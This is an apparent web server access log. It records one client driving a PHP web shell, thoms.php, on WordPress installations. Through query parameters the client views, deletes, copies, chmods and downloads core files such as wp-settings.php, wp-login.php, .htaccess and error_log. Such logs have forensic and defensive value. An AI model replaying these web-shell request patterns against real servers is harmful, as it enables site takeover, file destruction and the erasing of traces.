45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=wp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=index.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fmah.php&p=bogroup.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?del=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13012 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=mah.php HTTP/1.1" 200 11809 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 12038 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?chmod=.htaccess&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?chmod=wp-content&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=locoy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?chmod=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?chmod=wp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21319 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?dl=mah.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-blog-header.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?del=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?dl=.htaccess&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21363 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-config-sample.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?del=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21185 "https://163.245.207.76/thoms.php?del=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?del=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?dl=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?chmod=web-filter&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21336 "https://163.245.207.76/thoms.php?chmod=web-filter&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /ba-guo.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?dl=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:24 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?chmod=wp-includes&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21327 "https://163.245.207.76/thoms.php?dl=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?chmod=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21317 "https://163.245.207.76/thoms.php?chmod=wp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21307 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?del=error_log&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?chmod=license.txt&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?del=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?dl=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21362 "https://163.245.207.76/thoms.php?chmod=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21369 "https://163.245.207.76/thoms.php?dl=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?del=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21367 "https://163.245.207.76/thoms.php?dl=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?dl=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-mail.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?del=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?dl=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21329 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=xmlrpc.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=.htaccess HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21310 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?del=wp-activate.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21355 "https://163.245.207.76/thoms.php?del=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21347 "https://163.245.207.76/thoms.php?del=wp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?chmod=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21317 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?chmod=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21192 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?chmod=mah.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21318 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21340 "https://163.245.207.76/thoms.php?chmod=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21330 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21328 "https://163.245.207.76/thoms.php?p=ba-guo.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?dl=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
